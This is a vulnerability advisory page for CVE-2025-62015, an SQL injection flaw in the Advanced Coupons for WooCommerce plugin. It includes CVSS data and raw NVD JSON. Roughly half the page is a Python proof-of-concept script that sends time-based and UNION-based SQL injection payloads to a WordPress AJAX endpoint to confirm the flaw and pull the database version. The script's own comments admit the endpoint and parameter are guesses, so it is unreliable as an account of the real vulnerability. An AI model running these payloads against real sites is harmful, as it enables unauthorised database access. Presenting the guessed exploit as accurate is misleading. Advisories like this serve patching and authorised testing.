Security Vulnerability Report
中文
CVE-2025-62015 CVSS 7.6 HIGH

CVE-2025-62015

Published: 2025-10-22 15:16:03
Last Modified: 2026-04-27 17:16:30

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Josh Kohlbach Advanced Coupons for WooCommerce Coupons advanced-coupons-for-woocommerce-free.This issue affects Advanced Coupons for WooCommerce Coupons: from n/a through <= 4.6.8.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Advanced Coupons for WooCommerce <= 4.6.8
所有从某个早期版本到4.6.8的版本均受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62015 SQL Injection PoC # Target: Advanced Coupons for WooCommerce <= 4.6.8 # Author: Security Research Team # Note: This is for authorized security testing only import requests import sys from urllib.parse import urlencode TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_sec_<your_auth_cookie>": "your_auth_value", "wordpress_logged_in_<your_logged_cookie>": "logged_in_value" } HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } def test_sql_injection(): """Test for SQL injection vulnerability in coupon parameter""" # Basic injection test - time-based blind SQLi # Adjust 'coupon_code' parameter based on actual vulnerable endpoint payload = "'+(SELECT * FROM (SELECT SLEEP(5))a)+'" data = { "action": "acfw_ajax_action", "coupon_code": payload, "nonce": "your_valid_nonce_here", "security": "your_security_token" } print(f"[*] Testing SQL injection on: {TARGET_URL}") print(f"[*] Payload: {payload}") try: response = requests.post( TARGET_URL, data=data, cookies=COOKIES, headers=HEADERS, timeout=10 ) print(f"[+] Response status: {response.status_code}") print(f"[+] Response time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] VULNERABLE - Time-based SQL injection confirmed") return True else: print("[-] Not vulnerable or payload didn't trigger") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def extract_data(): """Extract database version using UNION-based injection""" # UNION-based injection to extract database version union_payload = "' UNION SELECT 1,2,@@version,4,5-- -" data = { "action": "acfw_ajax_action", "coupon_code": union_payload, "nonce": "your_valid_nonce_here" } print(f"[*] Extracting database information...") try: response = requests.post( TARGET_URL, data=data, cookies=COOKIES, headers=HEADERS, timeout=10 ) if "5.7" in response.text or "8.0" in response.text: print(f"[+] Database version extracted: {response.text}") except Exception as e: print(f"[!] Error extracting data: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-62015 SQL Injection PoC") print("Advanced Coupons for WooCommerce <= 4.6.8") print("=" * 60) if test_sql_injection(): print("\n[*] Proceeding with data extraction...") extract_data() else: print("\n[!] Target may not be vulnerable") print("[*] Verify the target is running affected plugin version")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62015", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:03.040", "lastModified": "2026-04-27T17:16:29.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Josh Kohlbach Advanced Coupons for WooCommerce Coupons advanced-coupons-for-woocommerce-free.This issue affects Advanced Coupons for WooCommerce Coupons: from n/a through <= 4.6.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-coupons-for-woocommerce-free/vulnerability/wordpress-advanced-coupons-for-woocommerce-coupons-plugin-4-6-8-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}